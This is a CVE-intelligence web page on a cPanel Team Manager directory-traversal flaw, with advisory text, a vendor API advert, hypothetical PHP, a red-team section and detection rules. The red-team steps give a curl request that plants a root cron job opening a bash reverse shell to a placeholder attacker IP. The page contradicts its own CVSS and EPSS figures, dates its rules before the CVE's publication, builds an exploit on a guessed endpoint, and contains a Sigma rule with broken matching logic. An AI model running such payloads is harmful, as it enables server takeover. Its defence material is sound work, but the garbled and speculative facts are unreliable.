☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cpanel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-66429

CVE-2025-66429 Directory Traversal in Cpanel
📅 PUBLISHED: 2025-12-11 00:00 UTC 🔄 UPDATED: 2026-10-15 10:34 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.83%
👁️
0.83% probability
20.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: Cpanel
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66429 is a critical directory traversal vulnerability discovered in cPanel versions 110 through 132. The flaw resides within the Team Manager API, allowing an authenticated attacker to overwrite arbitrary files on the server. This capability can be leveraged to escalate privileges to the root user, leading to full system compromise. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) code or exploit templates are available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the potential impact is severe.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a server-side application vulnerability within the cPanel software itself.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description (directory traversal leading to root privilege escalation), the actual CVSS score would be high, likely in the range of 8.0-9.0. The vector would be:

  • Attack Vector (AV): Network (N) – the API is accessible over the network.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): Low (L) – requires an authenticated user with access to the Team Manager API.
  • User Interaction (UI): None (N) – no user interaction needed.
  • Scope (S): Unchanged (U) – the vulnerability does not cross trust boundaries.
  • Confidentiality (C): High (H) – root access allows reading all files.
  • Integrity (I): High (H) – root access allows modifying all files.
  • Availability (A): High (H) – root access can disrupt services.

Threat Level: Critical. The ability to overwrite arbitrary files and escalate to root is a complete system takeover.

Deep Dive & Mechanics

The vulnerability is a directory traversal (path traversal) flaw in the Team Manager API of cPanel. The API likely accepts a file path parameter without proper sanitization, allowing an attacker to use ../ sequences to escape the intended directory and write to arbitrary locations on the filesystem.

Attack Flow:

  1. An attacker authenticates to the cPanel interface (e.g., as a reseller or user with Team Manager access).
  2. The attacker crafts a request to the Team Manager API, specifying a file path like ../../etc/cron.d/malicious or ../../usr/local/cpanel/scripts/postwwwacct.
  3. The API writes attacker-controlled content to that path.
  4. If the attacker overwrites a system script or cron job, they can execute arbitrary commands as root.

Root Cause: Insufficient input validation on the file path parameter in the Team Manager API endpoint.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (Hypothetical):

// Vulnerable: No path sanitization
$filePath = $_POST['file_path'];
$content = $_POST['content'];
file_put_contents('/var/cpanel/team/' . $filePath, $content);

Patched Code (Hypothetical):

// Patched: Validate and sanitize path
$filePath = $_POST['file_path'];
$baseDir = '/var/cpanel/team/';
$realBase = realpath($baseDir);
$realPath = realpath($baseDir . $filePath);
if (strpos($realPath, $realBase) !== 0) {
    die('Invalid path');
}
file_put_contents($realPath, $content);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to a cPanel instance (version 110-132) with a valid user account that has Team Manager permissions.
  • Knowledge of the Team Manager API endpoint (likely /cpsess*/team/api or similar).

Exploitation Steps:

  1. Authenticate: Obtain a cPanel session token.
  2. Craft Payload: Create a request to the Team Manager API with a path traversal payload.
    • Example: file_path=../../etc/cron.d/evil and content=* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
  3. Send Request: Use curl or a script to send the request.
    curl -k -X POST "https://target:2083/cpsess123456/team/api" \
         -H "Cookie: cpsession=..." \
         -d "file_path=../../etc/cron.d/evil&content=* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
    
  4. Trigger Execution: Wait for the cron job to execute, or if overwriting a script, trigger it via normal operations.
  5. Escalate: The cron job or script runs as root, giving a reverse shell.

Alternative Payload: Overwrite /usr/local/cpanel/scripts/postwwwacct to execute commands when a new account is created.

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor API Logs: Look for unusual file paths in Team Manager API requests.
    • Search for ../ or ..\\ in request parameters.
  2. File Integrity Monitoring (FIM): Monitor critical system files for unauthorized changes.
    • Focus on /etc/cron.d/, /usr/local/cpanel/scripts/, and /etc/passwd.
  3. Audit User Activity: Check for users with Team Manager permissions who are making API calls to unexpected paths.
  4. Network Monitoring: Detect outbound connections from the cPanel server to unknown IPs (reverse shell).

Hunting Query (Splunk):

index=web_logs source="/var/log/cpanel/access_log"
| search "team/api" AND "file_path" AND ("../" OR "..\\")
| table _time, clientip, user, uri_path, file_path

Indicators of Compromise (IOCs)

  • File Paths: Unusual files in /etc/cron.d/ or /usr/local/cpanel/scripts/ with suspicious content.
  • Network Connections: Outbound connections from the cPanel server to unknown IPs on common ports (4444, 8080, etc.).
  • Log Entries: API requests to /team/api with file_path containing ../.
  • Processes: Unexpected processes running as root, such as reverse shells.
  • File Hashes: Hashes of modified system files (e.g., postwwwacct).

Detection Engineering

YARA Rule

rule cve_2025_66429_cpanel_traversal {
    meta:
        description = "Detects directory traversal attempts in cPanel Team Manager API logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66429"
    strings:
        $traversal = /\.\.\/|\.\.\\/
        $api = "team/api"
        $filepath = "file_path"
    condition:
        $api and $filepath and $traversal
}

Sigma Rule

title: cPanel Team Manager Directory Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts in cPanel Team Manager API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: cpanel
detection:
    selection:
        uri_path: "/team/api"
        params|contains: "file_path"
        params|contains|all:
            - "../"
            - "..\\"
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-66429 cPanel Team Manager Directory Traversal";
    flow:to_server,established;
    content:"/team/api"; http_uri;
    content:"file_path"; http_client_body;
    pcre:"/(\.\.\/|\.\.\\)/";
    sid:1000001;
    rev:1;
    reference:cve,2025-66429;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable Team Manager API: If not required, disable the Team Manager API in cPanel configuration.
  2. Restrict Access: Limit Team Manager API access to trusted IPs only.
  3. Monitor Logs: Actively monitor cPanel access logs for directory traversal attempts.

Long-Term Fix:

  • Apply the official patch from cPanel when released.
  • Upgrade to a patched version of cPanel (beyond 132).
  • Implement input validation and path sanitization for all file-related API endpoints.

Workaround:

  • Use a Web Application Firewall (WAF) to block requests containing ../ in the file_path parameter.
  • Modify the cPanel code manually (if possible) to sanitize paths.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66429/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.